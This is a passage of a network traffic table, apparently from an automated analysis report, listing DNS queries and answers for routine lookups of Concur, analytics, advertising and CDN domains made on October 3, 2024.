Oct 3, 2024 10:41:50.571151972 CEST	192.168.2.4	1.1.1.1	0xc960	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 3, 2024 10:41:50.588952065 CEST	192.168.2.4	1.1.1.1	0xae29	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.589076996 CEST	192.168.2.4	1.1.1.1	0x7d47	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:50.589859962 CEST	192.168.2.4	1.1.1.1	0x7180	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.590167999 CEST	192.168.2.4	1.1.1.1	0xf4a9	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:51.044719934 CEST	192.168.2.4	1.1.1.1	0xf7ce	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.044861078 CEST	192.168.2.4	1.1.1.1	0x6fbb	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:51.314979076 CEST	192.168.2.4	1.1.1.1	0x9032	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.315274000 CEST	192.168.2.4	1.1.1.1	0x7df8	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:51.410202980 CEST	192.168.2.4	1.1.1.1	0x6983	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.410330057 CEST	192.168.2.4	1.1.1.1	0x12fa	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 3, 2024 10:41:51.501523018 CEST	192.168.2.4	1.1.1.1	0xfa7d	Standard query (0)	www.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.501660109 CEST	192.168.2.4	1.1.1.1	0x6db7	Standard query (0)	www.clarity.ms	65	IN (0x0001)	false
Oct 3, 2024 10:41:51.911668062 CEST	192.168.2.4	1.1.1.1	0xd2c6	Standard query (0)	013-gax-394.mktoresp.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.911817074 CEST	192.168.2.4	1.1.1.1	0xafb8	Standard query (0)	013-gax-394.mktoresp.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:52.488749027 CEST	192.168.2.4	1.1.1.1	0xf430	Standard query (0)	www.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:52.488955975 CEST	192.168.2.4	1.1.1.1	0x6c90	Standard query (0)	www.clarity.ms	65	IN (0x0001)	false
Oct 3, 2024 10:41:53.640647888 CEST	192.168.2.4	1.1.1.1	0x631c	Standard query (0)	t.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:53.640796900 CEST	192.168.2.4	1.1.1.1	0x9eb	Standard query (0)	t.clarity.ms	65	IN (0x0001)	false
Oct 3, 2024 10:41:54.580116034 CEST	192.168.2.4	1.1.1.1	0x2d04	Standard query (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:54.580564022 CEST	192.168.2.4	1.1.1.1	0xc234	Standard query (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:54.936820030 CEST	192.168.2.4	1.1.1.1	0xd020	Standard query (0)	684dd311.akstat.io	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:54.937011003 CEST	192.168.2.4	1.1.1.1	0xbb8f	Standard query (0)	684dd311.akstat.io	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.041096926 CEST	192.168.2.4	1.1.1.1	0x6bd0	Standard query (0)	js.driftt.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.041260004 CEST	192.168.2.4	1.1.1.1	0xe523	Standard query (0)	js.driftt.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.041815996 CEST	192.168.2.4	1.1.1.1	0xf5c4	Standard query (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.041951895 CEST	192.168.2.4	1.1.1.1	0x596b	Standard query (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.042395115 CEST	192.168.2.4	1.1.1.1	0x4f2c	Standard query (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.042509079 CEST	192.168.2.4	1.1.1.1	0xaa09	Standard query (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.042798996 CEST	192.168.2.4	1.1.1.1	0x12a	Standard query (0)	insight.adsrvr.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.042907953 CEST	192.168.2.4	1.1.1.1	0xfe44	Standard query (0)	insight.adsrvr.org	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.043265104 CEST	192.168.2.4	1.1.1.1	0x32d7	Standard query (0)	c.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.043368101 CEST	192.168.2.4	1.1.1.1	0x3692	Standard query (0)	c.clarity.ms	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.711978912 CEST	192.168.2.4	1.1.1.1	0xf9e9	Standard query (0)	siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.712157965 CEST	192.168.2.4	1.1.1.1	0x419d	Standard query (0)	siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.712750912 CEST	192.168.2.4	1.1.1.1	0x6707	Standard query (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.712935925 CEST	192.168.2.4	1.1.1.1	0xbd0c	Standard query (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.723225117 CEST	192.168.2.4	1.1.1.1	0xd004	Standard query (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.723520041 CEST	192.168.2.4	1.1.1.1	0x429f	Standard query (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:55.755490065 CEST	192.168.2.4	1.1.1.1	0x2d51	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.755644083 CEST	192.168.2.4	1.1.1.1	0xa52a	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Oct 3, 2024 10:41:56.206495047 CEST	192.168.2.4	1.1.1.1	0xa582	Standard query (0)	customer.api.drift.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.206691027 CEST	192.168.2.4	1.1.1.1	0x4742	Standard query (0)	customer.api.drift.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:56.207120895 CEST	192.168.2.4	1.1.1.1	0x8391	Standard query (0)	conversation.api.drift.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.207262993 CEST	192.168.2.4	1.1.1.1	0x10a9	Standard query (0)	conversation.api.drift.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:56.207920074 CEST	192.168.2.4	1.1.1.1	0x6c84	Standard query (0)	metrics.api.drift.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.208121061 CEST	192.168.2.4	1.1.1.1	0xdd8b	Standard query (0)	metrics.api.drift.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:56.223015070 CEST	192.168.2.4	1.1.1.1	0x405e	Standard query (0)	targeting.api.drift.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.223637104 CEST	192.168.2.4	1.1.1.1	0xb29	Standard query (0)	targeting.api.drift.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:56.515924931 CEST	192.168.2.4	1.1.1.1	0x8a9e	Standard query (0)	siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.516268969 CEST	192.168.2.4	1.1.1.1	0xfb67	Standard query (0)	siteintercept.qualtrics.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:57.698920965 CEST	192.168.2.4	1.1.1.1	0xce4e	Standard query (0)	c.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:57.699168921 CEST	192.168.2.4	1.1.1.1	0xbf10	Standard query (0)	c.clarity.ms	65	IN (0x0001)	false
Oct 3, 2024 10:43:04.441189051 CEST	192.168.2.4	1.1.1.1	0x604b	Standard query (0)	t.clarity.ms	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:43:04.441361904 CEST	192.168.2.4	1.1.1.1	0x3c97	Standard query (0)	t.clarity.ms	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 10:41:22.596501112 CEST	1.1.1.1	192.168.2.4	0x6f7c	No error (0)	www.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:22.617928028 CEST	1.1.1.1	192.168.2.4	0x2269	No error (0)	www.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:23.716181993 CEST	1.1.1.1	192.168.2.4	0x9fbe	No error (0)	cdn.schemaapp.com	d3nidttaq34fka.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:23.716181993 CEST	1.1.1.1	192.168.2.4	0x9fbe	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.47	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.716181993 CEST	1.1.1.1	192.168.2.4	0x9fbe	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.716181993 CEST	1.1.1.1	192.168.2.4	0x9fbe	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.44	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.716181993 CEST	1.1.1.1	192.168.2.4	0x9fbe	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.93	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.736145020 CEST	1.1.1.1	192.168.2.4	0x5f0a	No error (0)	cdn.schemaapp.com	d3nidttaq34fka.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:23.806185961 CEST	1.1.1.1	192.168.2.4	0x5b85	No error (0)	assets.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:23.813563108 CEST	1.1.1.1	192.168.2.4	0x82bf	No error (0)	assets.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:25.180088997 CEST	1.1.1.1	192.168.2.4	0xff0	No error (0)	assets.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:25.191693068 CEST	1.1.1.1	192.168.2.4	0x5653	No error (0)	assets.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:25.317087889 CEST	1.1.1.1	192.168.2.4	0x1a59	No error (0)	cdn.schemaapp.com	d3nidttaq34fka.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:25.335246086 CEST	1.1.1.1	192.168.2.4	0x3314	No error (0)	cdn.schemaapp.com	d3nidttaq34fka.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:25.335246086 CEST	1.1.1.1	192.168.2.4	0x3314	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.44	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:25.335246086 CEST	1.1.1.1	192.168.2.4	0x3314	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.47	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:25.335246086 CEST	1.1.1.1	192.168.2.4	0x3314	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.93	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:25.335246086 CEST	1.1.1.1	192.168.2.4	0x3314	No error (0)	d3nidttaq34fka.cloudfront.net		13.32.121.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:26.718848944 CEST	1.1.1.1	192.168.2.4	0x35e7	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:26.718885899 CEST	1.1.1.1	192.168.2.4	0x4ba0	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:26.809360027 CEST	1.1.1.1	192.168.2.4	0x46f5	No error (0)	www.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:26.816889048 CEST	1.1.1.1	192.168.2.4	0xc4c3	No error (0)	www.concur.com	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:27.160573006 CEST	1.1.1.1	192.168.2.4	0xb4cc	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:27.160573006 CEST	1.1.1.1	192.168.2.4	0xb4cc	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:27.160573006 CEST	1.1.1.1	192.168.2.4	0xb4cc	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:27.160573006 CEST	1.1.1.1	192.168.2.4	0xb4cc	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.39.134	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.150.204	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.64.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.82.54	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.175.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.217.153.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.203.240	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.657819986 CEST	1.1.1.1	192.168.2.4	0x6e9b	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.23.243	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.659327030 CEST	1.1.1.1	192.168.2.4	0x2b8a	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.659327030 CEST	1.1.1.1	192.168.2.4	0x2b8a	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.659327030 CEST	1.1.1.1	192.168.2.4	0x2b8a	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.796365023 CEST	1.1.1.1	192.168.2.4	0x69b0	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:28.844484091 CEST	1.1.1.1	192.168.2.4	0x1971	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.590503931 CEST	1.1.1.1	192.168.2.4	0x5102	No error (0)	concurtechnologies.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.599313974 CEST	1.1.1.1	192.168.2.4	0x24ff	No error (0)	concurtechnologies.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.599313974 CEST	1.1.1.1	192.168.2.4	0x24ff	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.599313974 CEST	1.1.1.1	192.168.2.4	0x24ff	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.599313974 CEST	1.1.1.1	192.168.2.4	0x24ff	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.602050066 CEST	1.1.1.1	192.168.2.4	0xb096	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.602050066 CEST	1.1.1.1	192.168.2.4	0xb096	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.602050066 CEST	1.1.1.1	192.168.2.4	0xb096	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	concur.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.64.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.82.54	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.203.240	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.203.182.207	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.86.51	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.217.153.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.134.193	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.616446972 CEST	1.1.1.1	192.168.2.4	0xe373	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.22.163	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.625077963 CEST	1.1.1.1	192.168.2.4	0x486e	No error (0)	concur.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.625077963 CEST	1.1.1.1	192.168.2.4	0x486e	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:29.625077963 CEST	1.1.1.1	192.168.2.4	0x486e	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:30.131076097 CEST	1.1.1.1	192.168.2.4	0xdc9b	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.131076097 CEST	1.1.1.1	192.168.2.4	0xdc9b	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.131076097 CEST	1.1.1.1	192.168.2.4	0xdc9b	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.131076097 CEST	1.1.1.1	192.168.2.4	0xdc9b	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.162460089 CEST	1.1.1.1	192.168.2.4	0x4a44	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:30.162796974 CEST	1.1.1.1	192.168.2.4	0xbe6	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.463485956 CEST	1.1.1.1	192.168.2.4	0x83ef	No error (0)	aa.agkn.com	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.463485956 CEST	1.1.1.1	192.168.2.4	0x83ef	No error (0)	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		52.58.104.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.463485956 CEST	1.1.1.1	192.168.2.4	0x83ef	No error (0)	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		18.197.252.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.464083910 CEST	1.1.1.1	192.168.2.4	0x231c	No error (0)	aa.agkn.com	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504672050 CEST	1.1.1.1	192.168.2.4	0x4beb	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504672050 CEST	1.1.1.1	192.168.2.4	0x4beb	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504672050 CEST	1.1.1.1	192.168.2.4	0x4beb	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.23.243	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.175.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		46.137.24.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.64.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.250.169	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.92.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.252.162.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.504740953 CEST	1.1.1.1	192.168.2.4	0x86af	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.134.193	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.631329060 CEST	1.1.1.1	192.168.2.4	0xb439	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.632184029 CEST	1.1.1.1	192.168.2.4	0x306	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.635555029 CEST	1.1.1.1	192.168.2.4	0x658f	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.635555029 CEST	1.1.1.1	192.168.2.4	0x658f	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.635555029 CEST	1.1.1.1	192.168.2.4	0x658f	No error (0)	concurtechnologies.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.639441967 CEST	1.1.1.1	192.168.2.4	0xab93	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.640048027 CEST	1.1.1.1	192.168.2.4	0xc043	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.640660048 CEST	1.1.1.1	192.168.2.4	0xc0e8	No error (0)	concurtechnologies.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:31.640660048 CEST	1.1.1.1	192.168.2.4	0xc0e8	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.640660048 CEST	1.1.1.1	192.168.2.4	0xc0e8	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.640660048 CEST	1.1.1.1	192.168.2.4	0xc0e8	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
